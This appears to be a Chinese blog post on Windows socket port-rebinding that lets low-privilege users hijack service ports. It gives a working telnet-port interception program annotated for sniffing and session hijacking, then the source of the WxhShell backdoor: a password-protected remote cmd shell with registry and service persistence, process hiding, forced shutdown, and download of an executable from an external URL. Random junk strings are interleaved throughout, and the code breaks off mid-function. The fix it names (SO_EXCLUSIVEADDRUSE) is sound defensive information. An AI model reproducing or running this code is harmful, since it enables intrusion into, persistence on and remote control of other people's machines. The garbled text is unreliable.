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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w7H.&7rF s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JCu3,O!q g.v)qB saddr.sin_family = AF_INET; nwk66o:| Zc"Vf]: saddr.sin_addr.s_addr = htonl(INADDR_ANY); :wJ=t/ho $td=h)S^` bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); KWVEAHIn un4q,Ac~0 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %rpJZ
t 0W|}5(C 这意味着什么?意味着可以进行如下的攻击: a}Db9 = =#@eDm% 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #Y3:~dmJ- ,"PKGd]^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A4,tv#z 8*nl Wl9qo 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /YbyMj* "p43# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ESk<*- lF]cUp#< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 U2*g9Es 78v4cQ Y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 LFsrqdzJ U!E
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (vCMff/ Y1 B/S~Jn #include -9XB.)\# #include r7z8ICX'q #include ,~
D_T #include ,?"cKdiZ DWORD WINAPI ClientThread(LPVOID lpParam); pKf]&?FX int main() 1]HEwTT/1_ { FE+Y# WORD wVersionRequested; H[ 6L! DWORD ret; tn-_3C WSADATA wsaData; Yx21~:9} BOOL val; :"+/M{qz SOCKADDR_IN saddr; 'iM;e K SOCKADDR_IN scaddr; <$#b3F"I int err; ?)$+W+vK SOCKET s; lsV9-)yyl SOCKET sc; lW^bn(_gQ int caddsize; \Kph?l9Ww HANDLE mt; )J?Nfi% DWORD tid; ~n:dHK` wVersionRequested = MAKEWORD( 2, 2 ); ~$1Zw&X err = WSAStartup( wVersionRequested, &wsaData ); -@49Zh2' if ( err != 0 ) { D-8NDa(` printf("error!WSAStartup failed!\n"); P"dWh;I_ return -1; 5"4O_JQ }
?*i qg[: saddr.sin_family = AF_INET; bT|NZ!V jtdhdA //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j9zK=eG ]UG+<V
,: saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]Mu
+
DZ saddr.sin_port = htons(23); 8r^~`rL if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pyEi@L1p { KX e/i~AS printf("error!socket failed!\n"); - aCtk$3 return -1; d'~sy> } 8}m bfuo1 val = TRUE; :3k&[W* //SO_REUSEADDR选项就是可以实现端口重绑定的 o8+ZgXct if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t?NB#/#%x { 0GR\iw$[J printf("error!setsockopt failed!\n"); SG1o<#> return -1; !r:X`~\a } o9)pOwk7; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gxEa?QH //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -!uut7Z| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 YNc]x> P+iZ5S\kL= if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8(R%?>8 { ueO&% ret=GetLastError(); &61;v@ printf("error!bind failed!\n"); 7Y$#*
7 return -1; W2L: } w%=GdA= listen(s,2); TrxZS_ while(1) j4wcxZYY~ { c\i`=>%b@ caddsize = sizeof(scaddr); #J.v[bOWQ //接受连接请求 Ha l,%W~e sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); mQmn &:R if(sc!=INVALID_SOCKET) !8q+W`{ { )clSW mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H"|xG;cf if(mt==NULL) 82%~WQnS { #s JE{Tb printf("Thread Creat Failed!\n"); P-9[,3Zd break; 3$Ew55 } "(y",!U@ } 6X(Yv2X&4% CloseHandle(mt); 1JIL6w_ } +0U{CmH closesocket(s); zk8 o[4 WSACleanup(); ZV}"k_+- return 0; c"OBm# } aC0[ OmbG DWORD WINAPI ClientThread(LPVOID lpParam) y2k'^zE { jU2Dpxkt SOCKET ss = (SOCKET)lpParam; [%(}e1T( SOCKET sc; ]M
AB unsigned char buf[4096]; ,-PzUR4_Kj SOCKADDR_IN saddr; gakmg#ki long num; Qmxe*@{` DWORD val; 70,V>=aJ DWORD ret; `oP<mLxle //如果是隐藏端口应用的话,可以在此处加一些判断 ^|^ek //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 :34#z.O saddr.sin_family = AF_INET; ;seD{y7! saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -lHSojq~H saddr.sin_port = htons(23); RXa&*Jtr - if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZD{%0uh { +]|aACt] printf("error!socket failed!\n"); hzIP ?0^E return -1; {@Y|"qIN }
m9bR
%j val = 100; &jCT-dj if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) * z|i{=W
F { F&US-ce:M ret = GetLastError(); fUQuEh5_ return -1; q[4{Xh } ^UP!y!&N if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,L#Qy>MOb { <.j `n ret = GetLastError(); OE87&Cl"{t return -1; '>[l1<d!G } K;jV"R<9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) WF0%zxg ] { CZB!vh0 printf("error!socket connect failed!\n"); /(C?3}}L closesocket(sc); mm-!UsT closesocket(ss); 9"Vch;U$ return -1; }ge~Nu>w } 1qWIku while(1) K*;e>{p { !mNXPqnN //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m&/{iCwp //如果是嗅探内容的话,可以再此处进行内容分析和记录 9"mOjL //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;V(- ;O num = recv(ss,buf,4096,0); } ).rD if(num>0) mG4myQ?$ send(sc,buf,num,0); XMb]&VvH else if(num==0) n<
UuVu break; 5wM*(H^c[ num = recv(sc,buf,4096,0); juQ&v>9W) if(num>0) 6^U8Utx send(ss,buf,num,0); _DPWp,k<~ else if(num==0) ylm*a74-X break; Oo'IeXQ9( } Y<('G5A closesocket(ss); 6<sd6SM closesocket(sc); "Y(stRa return 0 ; yl|?+ } )cA#2mlS'1 [{.e1s<EK +`pS 7d ========================================================== >]N}3J}47g r|$@Wsb?# 下边附上一个代码,,WXhSHELL ~(E.$y7P }{>)2S ========================================================== tL0<xGI5^ qfp,5@p
#include "stdafx.h" b&:>v9U %lVc7L2] #include <stdio.h> lej-,HX #include <string.h> i#/,Q1yEn #include <windows.h> 2NS(;tBB0 #include <winsock2.h> 'n`+R~Kkh #include <winsvc.h> ; MU8@?yN #include <urlmon.h> C[f'1O7 DG&
({vy #pragma comment (lib, "Ws2_32.lib") (XtN3FTY #pragma comment (lib, "urlmon.lib") eQh@.U*S) ]IbX< #define MAX_USER 100 // 最大客户端连接数 v ~|~&Dwq #define BUF_SOCK 200 // sock buffer |l\&4/SJ #define KEY_BUFF 255 // 输入 buffer -#0(Jm' Ewjzm,2 #define REBOOT 0 // 重启 N{ L'Q0! #define SHUTDOWN 1 // 关机 }SL&Y `Y] rQ~7BlE #define DEF_PORT 5000 // 监听端口 3IXai)6U k
I{)" #define REG_LEN 16 // 注册表键长度 I9S=VFhZ` #define SVC_LEN 80 // NT服务名长度 \Eq,4-q ^0A}iJL // 从dll定义API 9Q{-4yF9k typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y V=Ku typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &L3OP@; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BJGL &N typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5,/rh,? N ] KS\ // wxhshell配置信息 I'pOB struct WSCFG { <a9<rF =r int ws_port; // 监听端口 L%G/%*7;c char ws_passstr[REG_LEN]; // 口令 VyQ@. Lm int ws_autoins; // 安装标记, 1=yes 0=no 32yGIRV char ws_regname[REG_LEN]; // 注册表键名 gDHgXDD_b char ws_svcname[REG_LEN]; // 服务名 oNW.-gNT char ws_svcdisp[SVC_LEN]; // 服务显示名 uSnG= tB char ws_svcdesc[SVC_LEN]; // 服务描述信息 0p6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V_b"^911r int ws_downexe; // 下载执行标记, 1=yes 0=no 5`su^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ,;3#}OGg char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >uVo'S. ~s.~X5 }; Yj%hgb:) i?+ZrAx> // default Wxhshell configuration ?:@13wm struct WSCFG wscfg={DEF_PORT, JbT+w\o "xuhuanlingzhe", #2*l"3.$.R 1, P2HR4`c "Wxhshell", ;U7o)A; "Wxhshell", 9a\H+Y~ "WxhShell Service", Ziclw) "Wrsky Windows CmdShell Service", Swugt"`nN "Please Input Your Password: ", f
uzz3# 1, )`,||sQ " http://www.wrsky.com/wxhshell.exe", OIi8x?
.~] "Wxhshell.exe" bv %Bo4s }; yVF1*#" [bE-Uu7q5P // 消息定义模块 Y
j[M>v char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _ ~q!<-Z char *msg_ws_prompt="\n\r? for help\n\r#>"; Po(Y',xI[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ug?gVK char *msg_ws_ext="\n\rExit."; M:: char *msg_ws_end="\n\rQuit."; A0mj!P 9 char *msg_ws_boot="\n\rReboot..."; 6"3-8orj char *msg_ws_poff="\n\rShutdown..."; G$#Q:]N char *msg_ws_down="\n\rSave to "; 'G] P09`*) NC]]`O2r@ char *msg_ws_err="\n\rErr!"; 'gBns char *msg_ws_ok="\n\rOK!"; %S$P<nKN5 ?=
G+L0t
char ExeFile[MAX_PATH]; WBb@\|V| int nUser = 0; L7kNQ/ HANDLE handles[MAX_USER]; a1^CpeG~ int OsIsNt; h%4aL38 \!O3]k,r SERVICE_STATUS serviceStatus; "LwLTPC2 SERVICE_STATUS_HANDLE hServiceStatusHandle; '6^+|1 O|Sbe%[*wW // 函数声明 b/#SkxW#S int Install(void); +0,'B5 (E int Uninstall(void); 7j,-o int DownloadFile(char *sURL, SOCKET wsh); hc"l^a!7ic int Boot(int flag); AN193o void HideProc(void); kSW=DE|#} int GetOsVer(void); Lzr&Q(mL int Wxhshell(SOCKET wsl); F~bDA~ void TalkWithClient(void *cs); v,T:V#f^ int CmdShell(SOCKET sock); DIqM\ >< int StartFromService(void); |}^me7C,[ int StartWxhshell(LPSTR lpCmdLine); "|N58% 'SW%EVB VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Bf5Z VOID WINAPI NTServiceHandler( DWORD fdwControl ); QR+xPY~ 0B}O&DC%| // 数据结构和表定义 0H$6_YX4A SERVICE_TABLE_ENTRY DispatchTable[] = ON(OYXj { -FOn%7r#Y {wscfg.ws_svcname, NTServiceMain}, RB\
Hl {NULL, NULL} K#"J8h;x }; uez"{ _I b]0]*<~y // 自我安装 LDDgg
u
int Install(void) ;C^!T { .j
et0w char svExeFile[MAX_PATH]; $ol]G`+ HKEY key; _+sb~ strcpy(svExeFile,ExeFile); eeVDU$*e= /"+CH\)
E // 如果是win9x系统,修改注册表设为自启动 8ln{!,j; if(!OsIsNt) { UC
e{V ]T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QJ
i5 H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (6}[y\a+ RegCloseKey(key); h 8%(,$* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &9+]{jXF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZZs@P#] RegCloseKey(key); us5<18M5 return 0;
g2LY~ } 2Kkm-#p7 } !Y8+Z&^2 } "h@=O
c else { #r|qitL3 R\a6#u3 // 如果是NT以上系统,安装为系统服务 ._E 6? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =,BDd$e if (schSCManager!=0) {})d}dEC { 0dTHF})m SC_HANDLE schService = CreateService qix$ }(P ( .B+Bl/ schSCManager, 12i<b wscfg.ws_svcname, %nS(>X<B wscfg.ws_svcdisp, eS`ZC!W SERVICE_ALL_ACCESS, elqm/u SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bI-uF8" SERVICE_AUTO_START, {gC?kp SERVICE_ERROR_NORMAL, CL|d> svExeFile, "[QQ(]={ NULL, &%UZ"CcA NULL, <~ Dq8If NULL, 1^ijKn@6 NULL, a
Xn:hn~O NULL AqA.,;G ); pqCp>BO?O if (schService!=0) xA'RO-a}h { [+F6C CloseServiceHandle(schService); dEhFuNO<2 CloseServiceHandle(schSCManager); 0$qK: ze strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kOE\.}~4 strcat(svExeFile,wscfg.ws_svcname); _v#Vf*# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Zt"#'1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \N%L-%^ RegCloseKey(key); :hBLi99
o return 0; %A3ci[$g } 2/iBk'd } B,q)<z6< CloseServiceHandle(schSCManager); bhl9:`s } qyKI.X3n* } *|9: o5E5s9n return 1; 34
'[O } z"D0Th`S6 b$eN]L // 自我卸载 43}uW,P int Uninstall(void) [Ot<8)Jm { &s(mbpV HKEY key; h ^.jK2I O[|_~v:^ if(!OsIsNt) { `Hx JE"/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZBkbr RegDeleteValue(key,wscfg.ws_regname); U>i}C_7g RegCloseKey(key); /u&7!>, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0;L.h|R T( RegDeleteValue(key,wscfg.ws_regname); 2M>`W5 RegCloseKey(key); 0<XxR6w return 0; dC/@OV)0# } V}MRdt7 } Qp;FVUw9 } ;0 4< 9i else { arc{:u.K Zet80|q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vd[?73:C if (schSCManager!=0) Y<t(m$s { VBtdx`9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =3Ohy,5L if (schService!=0) -uNM_|MO { j a4zLf(< if(DeleteService(schService)!=0) { =p[a Cb
i CloseServiceHandle(schService); ".{'h CloseServiceHandle(schSCManager); z.~jqxA9 return 0; (j-_iOQ]i+ } m@W>ku CloseServiceHandle(schService); Eq=j+ch7 } 2@!B;6*8q CloseServiceHandle(schSCManager); 48,uO! } 3ESrd"W= } /?1^&a [a!)w@I: return 1; U/A
[al } 6@x^,SA @e-2]z // 从指定url下载文件 :rU,7`sE/ int DownloadFile(char *sURL, SOCKET wsh) 6@VgLa, { -br): }f HRESULT hr; C{>dE:*K^ char seps[]= "/"; fizL_`uMqb char *token; iEx4va-j char *file; &bigLe char myURL[MAX_PATH]; r3+ char myFILE[MAX_PATH]; (e#f i!*8@:VI strcpy(myURL,sURL); b"nD5r token=strtok(myURL,seps); txiX1o!/L while(token!=NULL) 3TRG] 5 { &Z(6i}f,Gp file=token; t[/APm-k~> token=strtok(NULL,seps); :eH\9$F`x; } YH&q5W,KX !ou;yE&<, GetCurrentDirectory(MAX_PATH,myFILE); tC5>K9Ed strcat(myFILE, "\\"); (W.G&VSn) strcat(myFILE, file); yUN>mD- send(wsh,myFILE,strlen(myFILE),0); *#1J send(wsh,"...",3,0); nE56A#,Q, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AYAbq}'Yt if(hr==S_OK) "H]R\xp return 0; mRy0zN>? else ,hWuAu6.L return 1; {mB!mbr
}S;A%gYm } w3&L 6|, :m<#\!? // 系统电源模块 |_hIl(6F5N int Boot(int flag) tF6-@T\6 { o%OwKp
s HANDLE hToken; abp\Ih^b TOKEN_PRIVILEGES tkp; "-P z2QJY P5W58WxT' if(OsIsNt) { -56gg^Pnr OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Fw8b^ew LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;u=%Vn"2a tkp.PrivilegeCount = 1; BDCyeC,Q3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p*U!94Pb AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @}s EP&$ if(flag==REBOOT) { dsg-;*% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
WtC&Qyuq return 0; ]_`ICS } tNQACM8F; else { R7A:K]iJ5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6m@B.+1 return 0; Ed+jSO0 } lx7]rkWo|a } g""Ep else { B}J0d if(flag==REBOOT) { V{fG~19
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X6BOB? return 0; uDLj*U6L } r^{Bw1+ else { L4ZB0PmN' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G_M8? G0 return 0; P-DW@drxF } Tv9\`F[ } !Sl_qL p(fMM : return 1; 5}b)W>3@` } PsZ>L
g@ .e% // win9x进程隐藏模块
$Tal. void HideProc(void) \uO^wJ} { e-%q!F(Bf vOq N=bp HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FV{XPr%
if ( hKernel != NULL ) "ji+~%`^[t { L#%)@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q7I!wD9Cff ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7GCxd#DJ FreeLibrary(hKernel); yb>R(y } ]<K"`q2 ~[f`oC return; Er
-rm } Qkw?QV-`k k9;t3-P // 获取操作系统版本 %j2$ ezud int GetOsVer(void) 3#Iq5vT { nFWiS~(#sW OSVERSIONINFO winfo; V9D q<y-y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2qQ;U?:q GetVersionEx(&winfo); !N!AO(Z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )Cat$)I#, return 1; qj4jM7 else w"W;PdH) return 0; x&r f]R } ?6HnN0A) 5tk7H2K^< // 客户端句柄模块 *!j!o%MB int Wxhshell(SOCKET wsl) J/3$I { skU
}BUK6 SOCKET wsh; ]u:_r)T struct sockaddr_in client; C=IN " DWORD myID; a!f71k
r %xKZ"#Z#K while(nUser<MAX_USER) .gM6m8l9wp { 7u
rD int nSize=sizeof(client); c&Eva wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C XNYWx if(wsh==INVALID_SOCKET) return 1; -wf>N: MTq/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rU(-R@[" if(handles[nUser]==0) l%p,m[ closesocket(wsh); i52JY&N else jfVw{\l nUser++; sk*vmxClY } i|xz WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .&`apQD} QjD=JC+ return 0; ))nTd= } oKH+Q6S: &C)97E // 关闭 socket ru~!;xT void CloseIt(SOCKET wsh) bAy\Sr
#/ { H/Rzs$pnv closesocket(wsh); z: nUser--; OmK4
\_. ExitThread(0); 9p1@Lfbj } >&k`NXS|V $=`d[04 // 客户端请求句柄 KXpbee void TalkWithClient(void *cs) LFZ*mRiuKE { _^`V0>Mh: PS=q):R| SOCKET wsh=(SOCKET)cs; rQJ\Y3. char pwd[SVC_LEN]; Z3=N= xY] char cmd[KEY_BUFF]; V-E 77u6{0 char chr[1]; S<-5<Pg int i,j; 9}L2$^#,NA 3}fhU{-c while (nUser < MAX_USER) { G}LV"0? Z@%A(nZ_ if(wscfg.ws_passstr) { 1=C<aRZ b^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b`%!\I //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O1wo
KkfV //ZeroMemory(pwd,KEY_BUFF); k+J63+obd i=0; G]{^.5 while(i<SVC_LEN) { |n^rI\p% .g?D3$|K // 设置超时 >3~)2)Q fd_set FdRead; u:6R|%1fNn struct timeval TimeOut; 2\1bQq\ FD_ZERO(&FdRead); B=7maYeU FD_SET(wsh,&FdRead); cV_-Bcb TimeOut.tv_sec=8; JIHIKH-# TimeOut.tv_usec=0; Bk^o$3# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F S$8F if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mlUj%:Gm# G
\Nnw==v if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d @ l pwd =chr[0]; B !wr} ] if(chr[0]==0xd || chr[0]==0xa) { 4%|r$E/TQ pwd=0; n)z:C{ break; 2?v }w<Ydl } FjLMN{eH/ i++; nR w f;K } SqdI($F\: r .
(} // 如果是非法用户,关闭 socket 7$t['2j3 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wA)nryXV } OVc)PMp 2-Wy@\ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >oaL -01i send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o^MoU2c ZU;jz[} while(1) { F6b;qb6n )CmHC3 ZeroMemory(cmd,KEY_BUFF); ]0MuXiR p=zTY7L // 自动支持客户端 telnet标准 y~\uS j=0; TtKKU4 yp while(j<KEY_BUFF) { -_eG/o=M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $<Y%4LI cmd[j]=chr[0]; OdNcuiLa if(chr[0]==0xa || chr[0]==0xd) { Zm7,O8 cmd[j]=0; [1ClZ~f break; m{~L Fhhd1 } m~fDDQs j++; pn){v } mEkYT w`3.wALb // 下载文件 .+<Ka0 if(strstr(cmd,"http://")) { 065 =I+Vo send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0PsQ
1[1 if(DownloadFile(cmd,wsh)) DyA/!%g send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]mUt[Yy:z else fny6`_O send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M)AvcZNs } h@\HPYi#. else { Zy8tI# 5zkj;?s switch(cmd[0]) { b&
-8/t bd% M., // 帮助 $bfmsCcHL case '?': { +dRRMyxe4 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5J1a8RBR break; +Ar4X-A{y } K[
S>EITr // 安装 +DR{aX/ll case 'i': { 1oQbV`P if(Install()) {6wXDZxv send(wsh,msg_ws_err,strlen(msg_ws_err),0); (TO<SY3AB else t)g%9 k^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `PvS+>q break; XW@C_@*J } q(L.i)w$ // 卸载 z"QXPIXPk case 'r': { yLK %lP if(Uninstall()) &0 "*.:J9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); m\bmBK"I else H{Lt,# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f5l\3oL break; [p}~M-$V8Y } e"XolM0IM // 显示 wxhshell 所在路径 Wm5[+z|2?9 case 'p': { QnS#"hc\a char svExeFile[MAX_PATH]; *M0O&" ~j strcpy(svExeFile,"\n\r"); `P-d. M6Oa strcat(svExeFile,ExeFile); W1t_P&i send(wsh,svExeFile,strlen(svExeFile),0); F:[[@~z break; ]` A*7 } PMW@xk^<Y // 重启 E|SmvIV- case 'b': { Z7[S698 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J^%E$s if(Boot(REBOOT)) ^Jdg%U? send(wsh,msg_ws_err,strlen(msg_ws_err),0); B,%KvL&xMX else { }J92TV closesocket(wsh); `T ^0&# ExitThread(0); 7!FiPH~kM } TBba3% break; a2i:fz=[ } burSb:JF // 关机 kM=&Tfpj case 'd': { h4MBw=Tz~ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0Js5 '
9}H if(Boot(SHUTDOWN)) rg]b$tL~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); @\xEK5 SG else { }1+2&Ps50 closesocket(wsh); 3u^wK ExitThread(0); qe(C>qjMbG } XFl&(I4tB break; :?m"kh
~ } C=U4z|Ym // 获取shell 9f5~hBlo case 's': { SkVah:cF- CmdShell(wsh); DB_oRr[oj closesocket(wsh); (b&Z\?" ExitThread(0); W[]|Uu/% break; [fb9;,x` } O#C0~U]dDW // 退出 .pm%qEh case 'x': { OT6Te& send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9.( [,J CloseIt(wsh); zcH"Kh& break; R%)F9P$o } ^8-,S[az // 离开 *ezft&{)` case 'q': { {)!ua7GF0H send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9L4;#cy closesocket(wsh); {.o4U0+ WSACleanup(); A=e1uBGA exit(1); ^gpd '*b break; xS+xUi } eoQt87VCU } xy$aFPH!- } T?.l_"%%d D+ jvF // 提示信息 Ukf:m&G if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0JR)-* } )"M;7W?R0 } XtBEVqrhi j>
dZ26 >N return; yT7{,Z7t } BePb8
k<y ?@`5^7*
// shell模块句柄 $*P+ int CmdShell(SOCKET sock) XbFo#Pwk { lU&2K$` STARTUPINFO si; 9(vp`Z8B4 ZeroMemory(&si,sizeof(si)); ~HT:BO$ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %(POC=b#[ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TM_bu PROCESS_INFORMATION ProcessInfo; -O/[c char cmdline[]="cmd"; V2@(BliP CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~Hj c?* return 0; +2Aggv>* } ;G"!y<F jO*H8XO // 自身启动模式 Qx!Bf_,J int StartFromService(void) Y( EF ):: { F J?]|S.?, typedef struct <veypLi"R { N}{V*H^0QU DWORD ExitStatus; EBQ_c@ DWORD PebBaseAddress; .N\t3\9} DWORD AffinityMask; 7X>@r"9< DWORD BasePriority; X`eX+9 ULONG UniqueProcessId; gf4Hq&Rf ULONG InheritedFromUniqueProcessId; qvhG^b0h } PROCESS_BASIC_INFORMATION; Ep')@7^n $`t2SD PROCNTQSIP NtQueryInformationProcess; +#(GU9_i+M ?@Tsd@s~r static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Yc3\ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o@aXzF2 PG|Zu3[ HANDLE hProcess; Py+ B 2G| PROCESS_BASIC_INFORMATION pbi; =>A}eR1Y BZXee>3" HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '9<8<d7? if(NULL == hInst ) return 0; ATmyoN2@> ,5 3`t g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst 